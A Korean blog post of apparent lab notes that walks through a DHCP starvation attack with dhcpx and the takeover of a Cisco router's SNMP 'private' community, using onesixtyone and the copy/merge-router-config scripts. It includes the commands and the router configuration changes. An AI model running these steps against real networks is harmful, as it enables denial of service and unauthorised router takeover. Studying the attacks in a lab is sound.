DHCP Starvation 공격(DOS공격 중 하나)
제공할 수 있는 IP를 모두 할당한 상태(IP Pool이 꽉찬상태)에서 계속 IP를 할당을 요구받을 경우 생기는 상태.
DHCP 4단계를 실시하지만, 실제로 IP를 제공할 수 없는상태이므로 IP를 할당하지 못함.
 
XP : 10.10.10.10
BT : 10.10.10.20
CentOS : 10.10.10.30 (DHCP 서버)
조건 : VMnet 1,2,3이 모두 VM자체 DHCP기능이 꺼져 있어야 한다.
 
[root@localhost Desktop]# cd /var/lib/dhcpd/
[root@localhost dhcpd]# ls
dhcpd6.leases dhcpd.leases dhcpd.leases~
 
dhcpd.leases는 임대해준 내용들이 들어가 있다.
클라이언트에 어떠한 IP를 사용했는지 기록이 들어있다.


  [root@localhost dhcpd]# service dhcpd stop
Shutting down dhcpd: [ OK ]
[root@localhost dhcpd]# rm *
rm: remove regular empty file `dhcpd6.leases'? y
rm: remove regular file `dhcpd.leases'? y
rm: remove regular file `dhcpd.leases~'? y
[root@localhost dhcpd]# service dhcpd start
Starting dhcpd: [ OK ]
 
/*
dhcpd6.leases dhcpd.leases dhcpd.leases~ 세가지 파일을 지우고 다시 DHCP 서비스를 시작하면 파일이 새로 만들어 진다. 하지만 안의 내용은 비어 있다.
*/
 
 
XP

 

CentOS
[root@localhost dhcpd]# tail -F dhcpd.leases
lease 10.10.10.11 {
starts 3 2018/11/14 01:00:52;
ends 3 2018/11/14 01:10:52;
cltt 3 2018/11/14 01:00:52;
binding state active;
next binding state free;
hardware ethernet 00:0c:29:34:58:34;
client-hostname "bt";
 
 
BT
root@bt:~# cd /pentest/enumeration/irpas/
root@bt:/pentest/enumeration/irpas# ./dhcpx
./dhcpx [-v[v[v]]] -i <interface> [-A]
[-D <destination ip>]
[-t <discovery time in secs>]
[-u <ARP time in secs>]
root@bt:/pentest/enumeration/irpas# ./dhcpx -i eth0 -D 10.10.10.30
CentOS로 위와 같은 공격을 하게 되면 CentOSIP1씩 증가하며 할당을 하게 된다.
만약 할당 범위를 모두 채우고 XP에서 IP를 할당받으려 한다면 XPIP할당을 받지 못하게 된다.
 
CentOS 상황

 
XP IP할당 시도


   CentOS에서 할당할 IP가 없기 때문에 실패하게 된다.
 
 
SNMP(Simple Network Management Protocol)
단순망 네트워크 관리 프로토콜
 
네트워크상의 장치로부터 정보를 수집 및 관리하며, 또한 정보를 수정하여 장치의 동작을 변경하는 데에 사용되는 인터넷 표준 프로토콜이다.
 
version 1
version 2 : 보안(version1과 호환성이 없다),망했다.
version 2c : version1과 호환성이 있다.community string(비밀번호의 개념)
version 3
 
**community string은 단순 인증만 하는 것이 아니라 권한까지 부여한다.
 
MIB : 매니지먼트 체계를 체계적으로 블록화해 놓은 것
OIDMIB에 고유한 ID를 부여한 것
 
MIB==기능, OID==번호 라고 생각하면 이해가 쉽다.
 
 
 
 
MIB 구조

1.3.6.4.1.9 의 과정으로 cisco를 찾아가서 기능을 사용한다.
 
 
실습
 
GNS설정
BT : 10.10.10.20
Gateway : 10.10.10.254

BT 설정
root@bt:~# ifconfig eth0 10.10.10.20/24
root@bt:~# route add default gw 10.10.10.254
root@bt:~# ping 10.10.10.254
PING 10.10.10.254 (10.10.10.254) 56(84) bytes of data.
64 bytes from 10.10.10.254: icmp_seq=2 ttl=255 time=6.39 ms
64 bytes from 10.10.10.254: icmp_seq=3 ttl=255 time=12.3 ms
64 bytes from 10.10.10.254: icmp_seq=4 ttl=255 time=43.4 ms
64 bytes from 10.10.10.254: icmp_seq=5 ttl=255 time=3.45 ms
//ping 통신 확인
 
라우터 설정

R1(config)#snmp-server community private RW
R1(config)#snmp-server community public RO
 
 
BT에서 R1SNMP 동작 확인 방법
root@bt:~# nmap -sU -p 161 10.10.10.254
 

R1의 커뮤니티를 찾는 방법
root@bt:~# cd /pentest/enumeration/snmp/onesixtyone/
root@bt:/pentest/enumeration/snmp/onesixtyone# ./onesixtyone -c dict.txt 10.10.10.254

public private 가 표시된다.
 
private를 찾았기 때문에 R1을 마음대로 관리 할 수 있다.
 
BTR1조종하기
copy-router-config.pl R1show run내용을 알 수 있다.
merge-router-config.pl R1run의 내용을 덮어 쓸 수 있다
 

Configure Wine을 클릭한다.
 

autodetect를 누르고 적용한다.
 
 
root@bt:/pentest/cisco/copy-router-config# cd /pentest/windows-binaries/tools/
root@bt:/pentest/windows-binaries/tools# chmod 777 tftpd32.exe
//실행권한을 준다.

해당 경로로 가서 tftpd32.exe를 실행시키고 경로를 /tmp 디렉토리로 맞추어 준다.
 
 
root@bt:/pentest/windows-binaries/tools# cd /pentest/cisco/copy-router-config/
root@bt:/pentest/cisco/copy-router-config# perl copy-router-config.pl 10.10.10.254 10.10.10.20 private

root@bt:/tmp# cat pwnd-router.config

tmpR1run의 내용을 가져 올 수 있다.
 
R1run내용 변경하기
 
root@bt:/tmp# vi pwnd-router.config 
   

 hostnamehacker로 바꾸어 주었다.
root@bt:/pentest/cisco/copy-router-config# perl merge-router-config.pl 10.10.10.254 10.10.10.20 private

R1에서 확인

변경된 것을 확인 할 수 있다.

'정보보안 > Network' 카테고리의 다른 글

PBR(정책기반 라우팅), Tunneling  (333) 2020.08.02
DNS Spoofing,파밍  (383) 2020.08.02
DHCP Spoofing  (357) 2020.08.02
ARP Spoofing,Fowarding  (409) 2020.08.02
Active Sniffing  (344) 2020.08.02

+ Recent posts